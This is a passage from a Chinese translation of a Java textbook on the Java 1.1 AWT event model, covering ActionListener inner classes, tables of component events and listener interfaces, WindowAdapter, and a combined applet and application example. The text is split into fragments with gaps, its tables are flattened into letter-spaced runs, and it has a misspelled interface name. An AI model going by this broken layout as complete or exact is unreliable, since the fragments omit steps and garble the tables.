Ｂ１ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＳｔａｔｕｓ（＂Ｂｕｔｔｏｎ １＂）； ｝ ｝ ｃｌａｓｓ Ｂ２ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＳｔａｔｕｓ（＂Ｂｕｔｔｏｎ ２＂）； ｝ ｝ ／＊ Ｔｈｅ ｏｌｄ ｗａｙ： ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ（Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ１）） ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＳｔａｔｕｓ（＂Ｂｕｔｔｏｎ １＂）； ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ２）） ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＳｔａｔｕｓ（＂Ｂｕｔｔｏｎ ２＂）； ／／ Ｌｅｔ ｔｈｅ ｂａｓｅ ｃｌａｓｓ ｈａｎｄｌｅ ｉｔ： ｅｌｓｅ ４０９ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "／／ Ｗｅ＇ｖｅ ｈａｎｄｌｅｄ ｉｔ ｈｅｒｅ ｝ ＊／ ｝ ／／／：￣ 我们可比较两种方法，老的代码在左面作为注解。 在 ｉｎｉｔ（）方法里，只有一个改变就是增加了下面的两行： ｂ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ１（））； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ２（））；"},
    {"text": "同老的 ａｃｔｉｏｎ（）方法比较，老的方法我们必须指出发生了什么和适当的动作，同样，我们会担心调用基础类 ａｃｔｉｏｎ（）的版本并且返回一个值去指明是否被处理。"},
    {"text": "１ ３ ． １ ６ ． ２ 事件和接收者类型 所有 ＡＷＴ 组件都被改变成包含 ａｄｄＸＸＸＬｉｓｔｅｎｅｒ（）和 ｒｅｍｏｖｅＸＸＸＬｉｓｔｅｎｅｒ（）方法，因此特定的接收器类型可从 每个组件中增加和删除。"},
    {"text": "下面这张表格总结了通过提供 ａｄｄＸＸＸＬｉｓｔｅｎｅｒ（）和 ｒｅｍｏｖｅＸＸＸＬｉｓｔｅｎｅｒ（） 方法，从而支持那些特定事件的相关事件、接收器、方法以及组件。"},
    {"text": "这有助于我们发现由每种组件支持的事件，如 下表所示： 组件类型 支持的事件 Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ ｔ ｙ ｐ ｅ Ｅ ｖ ｅ ｎ ｔ ｓ ｓ ｕ ｐ ｐ ｏ ｒ ｔ ｅ ｄ ｂ ｙ ｔ ｈ ｉ ｓ ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ａ ｄ ｊ ｕ ｓ ｔ ａ ｂ ｌ ｅ Ａ ｄ ｊ ｕ ｓ ｔ ｍ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ａ ｐ ｐ ｌ ｅ ｔ Ｃ ｏ ｎ ｔ ａ ｉ ｎ ｅ ｒ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｂ ｕ ｔ ｔ ｏ ｎ Ａ ｃ ｔ ｉ ｏ ｎ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｃ ａ ｎ ｖ ａ ｓ Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｃ ｈ ｅ ｃ ｋ ｂ ｏ ｘ Ｉ ｔ ｅ ｍ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｃ ｈ ｅ ｃ ｋ ｂ ｏ ｘ Ｍ ｅ ｎ ｕ Ｉ ｔ ｅ ｍ Ａ ｃ ｔ ｉ ｏ ｎ Ｅ ｖ ｅ ｎ ｔ ， Ｉ ｔ ｅ ｍ Ｅ ｖ ｅ ｎ ｔ Ｃ ｈ ｏ ｉ ｃ ｅ Ｉ ｔ ｅ ｍ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｃ ｏ ｎ ｔ ａ ｉ ｎ ｅ ｒ Ｃ ｏ ｎ ｔ ａ ｉ ｎ ｅ ｒ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ ４１１ Ｄ ｉ ａ ｌ ｏ ｇ Ｃ ｏ ｎ ｔ ａ ｉ ｎ ｅ ｒ Ｅ ｖ ｅ ｎ ｔ ， Ｗ ｉ ｎ ｄ ｏ ｗ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｆ ｉ ｌ ｅ Ｄ ｉ ａ ｌ ｏ ｇ Ｃ ｏ ｎ ｔ ａ ｉ ｎ ｅ ｒ Ｅ ｖ ｅ ｎ ｔ ， Ｗ ｉ ｎ ｄ ｏ ｗ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｆ ｒ ａ ｍ ｅ Ｃ ｏ ｎ ｔ ａ ｉ ｎ ｅ ｒ Ｅ ｖ ｅ ｎ ｔ ， Ｗ ｉ ｎ ｄ ｏ ｗ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｌ ａ ｂ ｅ ｌ Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｌ ｉ ｓ ｔ ＡｃｔｉｏｎＥｖｅｎｔ， ＦｏｃｕｓＥｖｅｎｔ， ＫｅｙＥｖｅｎｔ， ＭｏｕｓｅＥｖｅｎｔ， ＩｔｅｍＥｖｅｎｔ， ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ Ｍ ｅ ｎ ｕ Ａ ｃ ｔ ｉ ｏ ｎ Ｅ ｖ ｅ ｎ ｔ Ｍ ｅ ｎ ｕ Ｉ ｔ ｅ ｍ Ａ ｃ ｔ ｉ ｏ ｎ Ｅ ｖ ｅ ｎ ｔ Ｐ ａ ｎ ｅ ｌ Ｃ ｏ ｎ ｔ ａ ｉ ｎ ｅ ｒ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｐ ｏ ｐ ｕ ｐ Ｍ ｅ ｎ ｕ Ａ ｃ ｔ ｉ ｏ ｎ Ｅ ｖ ｅ ｎ ｔ Ｓ ｃ ｒ ｏ ｌ ｌ ｂ ａ ｒ Ａ ｄ ｊ ｕ ｓ ｔ ｍ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｓ ｃ ｒ ｏ ｌ ｌ Ｐ ａ ｎ ｅ Ｃ ｏ ｎ ｔ ａ ｉ ｎ ｅ ｒ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｔ ｅ ｘ ｔ Ａ ｒ ｅ ａ Ｔ ｅ ｘ ｔ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｔ ｅ ｘ ｔ Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｔ ｅ ｘ ｔ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ Ｔ ｅ ｘ ｔ Ｆ ｉ ｅ ｌ ｄ ＡｃｔｉｏｎＥｖｅｎｔ， ＴｅｘｔＥｖｅｎｔ， ＦｏｃｕｓＥｖｅｎｔ， ＫｅｙＥｖｅｎｔ， ＭｏｕｓｅＥｖｅｎｔ， ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ Ｗ ｉ ｎ ｄ ｏ ｗ Ｃ ｏ ｎ ｔ ａ ｉ ｎ ｅ ｒ Ｅ ｖ ｅ ｎ ｔ ， Ｗ ｉ ｎ ｄ ｏ ｗ Ｅ ｖ ｅ ｎ ｔ ， Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ， Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ， Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ， Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ 一旦知道了一个特定的组件支持哪些事件，就不必再去寻找任何东西来响应那个事件。"},
    {"text": "（２） 实现上面的接口，针对想要捕获的事件编写方法代码。 例如，假设我们想捕获鼠标的移动，所以需要为 ＭｏｕｓｅＭｏｔｉｉｏｎＬｉｓｔｅｎｅｒ 接口的 ｍｏｕｓｅＭｏｖｅｄ（）方法编写代（当然还必须实现其他一些方法，但这里有捷径可 循，马上就会讲到这个问题）。"},
    {"text": "下表是对接收器接口的一个总结： 接收器接口 接口中的方法 Ｌ ｉ ｓ ｔ ｅ ｎ ｅ ｒ ｉ ｎ ｔ ｅ ｒ ｆ ａ ｃ ｅ Ｍ ｅ ｔ ｈ ｏ ｄ ｓ ｉ ｎ ｉ ｎ ｔ ｅ ｒ ｆ ａ ｃ ｅ ｗ ／ ａ ｄ ａ ｐ ｔ ｅ ｒ Ａ ｃ ｔ ｉ ｏ ｎ Ｌ ｉ ｓ ｔ ｅ ｎ ｅ ｒ ａ ｃ ｔ ｉ ｏ ｎ Ｐ ｅ ｒ ｆ ｏ ｒ ｍ ｅ ｄ （ Ａ ｃ ｔ ｉ ｏ ｎ Ｅ ｖ ｅ ｎ ｔ ） ＡｄｊｕｓｔｍｅｎｔＬｉｓｔｅｎｅｒ ａ ｄ ｊ ｕ ｓ ｔ ｍ ｅ ｎ ｔ Ｖ ａ ｌ ｕ ｅ Ｃ ｈ ａ ｎ ｇ ｅ ｄ （ Ａ ｄ ｊ ｕ ｓ ｔ ｍ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ ） Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｌ ｉ ｓ ｔ ｅ ｎ ｅ ｒ ｃｏｍｐｏｎｅｎｔＨｉｄｄｅｎ（ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ） Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ａ ｄ ａ ｐ ｔ ｅ ｒ ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｓ ｈ ｏ ｗ ｎ （ Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ ） ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｍ ｏ ｖ ｅ ｄ （ Ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ｅ ｖ ｅ ｎ ｔ ） ｃｏｍｐｏｎｅｎｔＲｅｓｉｚｅｄ（ＣｏｍｐｏｎｅｎｔＥｖｅｎｔ） Ｃ ｏ ｎ ｔ ａ ｉ ｎ ｅ ｒ Ｌ ｉ ｓ ｔ ｅ ｎ ｅ ｒ ｃ ｏ ｍ ｐ ｏ ｎ ｅ ｎ ｔ Ａ ｄ ｄ ｅ ｄ （ Ｃ ｏ ｎ ｔ ａ ｉ ｎ ｅ ｒ Ｅ ｖ ｅ ｎ ｔ ） Ｃ ｏ ｎ ｔ ａ ｉ ｎ ｅ ｒ Ａ ｄ ａ ｐ ｔ ｅ ｒ ｃｏｍｐｏｎｅｎｔＲｅｍｏｖｅｄ（ＣｏｎｔａｉｎｅｒＥｖｅｎｔ） Ｆ ｏ ｃ ｕ ｓ Ｌ ｉ ｓ ｔ ｅ ｎ ｅ ｒ ｆ ｏ ｃ ｕ ｓ Ｇ ａ ｉ ｎ ｅ ｄ （ Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ） ４１２ Ｆ ｏ ｃ ｕ ｓ Ａ ｄ ａ ｐ ｔ ｅ ｒ ｆ ｏ ｃ ｕ ｓ Ｌ ｏ ｓ ｔ （ Ｆ ｏ ｃ ｕ ｓ Ｅ ｖ ｅ ｎ ｔ ） Ｋ ｅ ｙ Ｌ ｉ ｓ ｔ ｅ ｎ ｅ ｒ ｋ ｅ ｙ Ｐ ｒ ｅ ｓ ｓ ｅ ｄ （ Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ） Ｋ ｅ ｙ Ａ ｄ ａ ｐ ｔ ｅ ｒ ｋ ｅ ｙ Ｒ ｅ ｌ ｅ ａ ｓ ｅ ｄ （ Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ） ｋ ｅ ｙ Ｔ ｙ ｐ ｅ ｄ （ Ｋ ｅ ｙ Ｅ ｖ ｅ ｎ ｔ ） Ｍ ｏ ｕ ｓ ｅ Ｌ ｉ ｓ ｔ ｅ ｎ ｅ ｒ ｍ ｏ ｕ ｓ ｅ Ｃ ｌ ｉ ｃ ｋ ｅ ｄ （ Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ） Ｍ ｏ ｕ ｓ ｅ Ａ ｄ ａ ｐ ｔ ｅ ｒ ｍ ｏ ｕ ｓ ｅ Ｅ ｎ ｔ ｅ ｒ ｅ ｄ （ Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ） ｍ ｏ ｕ ｓ ｅ Ｅ ｘ ｉ ｔ ｅ ｄ （ Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ） ｍ ｏ ｕ ｓ ｅ Ｐ ｒ ｅ ｓ ｓ ｅ ｄ （ Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ） ｍ ｏ ｕ ｓ ｅ Ｒ ｅ ｌ ｅ ａ ｓ ｅ ｄ （ Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ） ＭｏｕｓｅＭｏｔｉｏｎＬｉｓｔｅｎｅｒ ｍ ｏ ｕ ｓ ｅ Ｄ ｒ ａ ｇ ｇ ｅ ｄ （ Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ） ＭｏｕｓｅＭｏｔｉｏｎＡｄａｐｔｅｒ ｍ ｏ ｕ ｓ ｅ Ｍ ｏ ｖ ｅ ｄ （ Ｍ ｏ ｕ ｓ ｅ Ｅ ｖ ｅ ｎ ｔ ） Ｗ ｉ ｎ ｄ ｏ ｗ Ｌ ｉ ｓ ｔ ｅ ｎ ｅ ｒ ｗ ｉ ｎ ｄ ｏ ｗ Ｏ ｐ ｅ ｎ ｅ ｄ （ Ｗ ｉ ｎ ｄ ｏ ｗ Ｅ ｖ ｅ ｎ ｔ ） Ｗ ｉ ｎ ｄ ｏ ｗ Ａ ｄ ａ ｐ ｔ ｅ ｒ ｗ ｉ ｎ ｄ ｏ ｗ Ｃ ｌ ｏ ｓ ｉ ｎ ｇ （ Ｗ ｉ ｎ ｄ ｏ ｗ Ｅ ｖ ｅ ｎ ｔ ） ｗ ｉ ｎ ｄ ｏ ｗ Ｃ ｌ ｏ ｓ ｅ ｄ （ Ｗ ｉ ｎ ｄ ｏ ｗ Ｅ ｖ ｅ ｎ ｔ ） ｗ ｉ ｎ ｄ ｏ ｗ Ａ ｃ ｔ ｉ ｖ ａ ｔ ｅ ｄ （ Ｗ ｉ ｎ ｄ ｏ ｗ Ｅ ｖ ｅ ｎ ｔ ） ｗ ｉ ｎ ｄ ｏ ｗ Ｄ ｅ ａ ｃ ｔ ｉ ｖ ａ ｔ ｅ ｄ （ Ｗ ｉ ｎ ｄ ｏ ｗ Ｅ ｖ ｅ ｎ ｔ ） ｗ ｉ ｎ ｄ ｏ ｗ Ｉ ｃ ｏ ｎ ｉ ｆ ｉ ｅ ｄ （ Ｗ ｉ ｎ ｄ ｏ ｗ Ｅ ｖ ｅ ｎ ｔ ） ｗ ｉ ｎ ｄ ｏ ｗ Ｄ ｅ ｉ ｃ ｏ ｎ ｉ ｆ ｉ ｅ ｄ （ Ｗ ｉ ｎ ｄ ｏ ｗ Ｅ ｖ ｅ ｎ ｔ ） Ｉ ｔ ｅ ｍ Ｌ ｉ ｓ ｔ ｅ ｎ ｅ ｒ ｉ ｔ ｅ ｍ Ｓ ｔ ａ ｔ ｅ Ｃ ｈ ａ ｎ ｇ ｅ ｄ （ Ｉ ｔ ｅ ｍ Ｅ ｖ ｅ ｎ ｔ ） Ｔ ｅ ｘ ｔ Ｌ ｉ ｓ ｔ ｅ ｎ ｅ ｒ ｔ ｅ ｘ ｔ Ｖ ａ ｌ ｕ ｅ Ｃ ｈ ａ ｎ ｇ ｅ ｄ （ Ｔ ｅ ｘ ｔ Ｅ ｖ ｅ ｎ ｔ ） １． 用接收器适配器简化操作 在上面的表格中，我们可以注意到一些接收器接口只有唯一的一个方法。"},
    {"text": "例如，我 们必须一直运行某些事物，当我们创建一个应用程序时对帧提供一个 ＷｉｎｄｏｗＬｉｓｔｅｎｅｒ，以便当我们得到 ｗｉｎｄｏｗＣｌｏｓｉｎｇ（）事件时可以调用 Ｓｙｓｔｅｍ．ｅｘｉｔ（０）以退出应用程序。"},
    {"text": "ｃｌａｓｓ ＭｙＷｉｎｄｏｗＬｉｓｔｅｎｅｒ ｅｘｔｅｎｄｓ ＷｉｎｄｏｗＡｄａｐｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "假定我们象上面那样写一个 ＷｉｎｄｏｗＡｄａｐｔｅｒ ： ｃｌａｓｓ ＭｙＷｉｎｄｏｗＬｉｓｔｅｎｅｒ ｅｘｔｅｎｄｓ ＷｉｎｄｏｗＡｄａｐｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ＷｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "４１３ １ ３ ． １ ６ ． ３ 用 Ｊ ａ ｖ ａ １ ． １ Ａ Ｗ Ｔ 制作窗口和程序片 我们经常都需要创建一个类，使其既可作为一个窗口调用，亦可作为一个程序片调用。"},
    {"text": "作为一个简单的 示例，下面让我们来看看如何对 Ｂｕｔｔｏｎ２Ｎｅｗ．ｊａｖａ 作一番修改，使其能同时作为应用程序和程序片使用： ／／： Ｂｕｔｔｏｎ２ＮｅｗＢ．ｊａｖａ ／／ Ａｎ ａｐｐｌｉｃａｔｉｏｎ ａｎｄ ａｎ ａｐｐｌｅｔ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｂｕｔｔｏｎ２ＮｅｗＢ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ １＂）， ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ２＂）； ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（２０）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｂ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ１（））； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ２（））； ａｄｄ（ｂ１）； ａｄｄ（ｂ２）； ａｄｄ（ｔ）； ｝ ｃｌａｓｓ Ｂ１ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（＂Ｂｕｔｔｏｎ １＂）； ｝ ｝ ｃｌａｓｓ Ｂ２ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（＂Ｂｕｔｔｏｎ ２＂）； ｝ ｝ ／／ Ｔｏ ｃｌｏｓｅ ｔｈｅ ａｐｐｌｉｃａｔｉｏｎ： ｓｔａｔｉｃ ｃｌａｓｓ ＷＬ ｅｘｔｅｎｄｓ ＷｉｎｄｏｗＡｄａｐｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）； ｝ ｝ ／／ Ａ ｍａｉｎ（） ｆｏｒ ｔｈｅ ａｐｐｌｉｃａｔｉｏｎ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｂｕｔｔｏｎ２ＮｅｗＢ ａｐｐｌｅｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ２ＮｅｗＢ（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｂｕｔｔｏｎ２ＮｅｗＢ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ｎｅｗ ＷＬ（））； ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００，２００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "｝ ｝ ／／／：￣ ４１４ 内部类 ＷＬ 和 ｍａｉｎ（）方法是加入程序片的唯一两个元素，程序片剩余的部分则原封未动。 事实上，我们通常 将 ＷＬ 类和 ｍａｉｎ（）方法做一结小的改进复制和粘贴到我们自己的程序片里（请记住创建内部类时通常需要一 个外部类来处理它，形成它静态地消除这个需要）。"},
    {"text": "如果它变成一个麻烦，我们可以： （１） 使程序片句柄为一个静态类（以代替局部可变的 ｍａｉｎ（）），然后： （２） 在我们调用 Ｓｙｓｔｅｍ．ｅｘｉｔ（）之前在 ＷｉｎｄｏｗＡｄａｐｔｅｒ．ｗｉｎｄｏｗＣｌｏｓｉｎｇ（）中调用 ａｐｐｌｅｔ．ｓｔｏｐ（）和 ａｐｐｌｅｔ．ｄｅｓｔｒｏｙ（）。"},
    {"text": "当我们增加一个元素到 Ｊａｖａ １．１ 版的 ＢｏｒｄｅｒＬａｙｏｕｔ 中时，我们可以这样写： ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）；"},
    {"text": "２． 将窗口接收器变成匿名类 任何一个接收器类都可作为一个匿名类执行，但这一直有个意外，那就是我们可能需要在其它场合使用它们 的功能。 但是，窗口接收器在这里仅作为关闭应用程序窗口来使用，因此我们可以安全地制造一个匿名类。"},
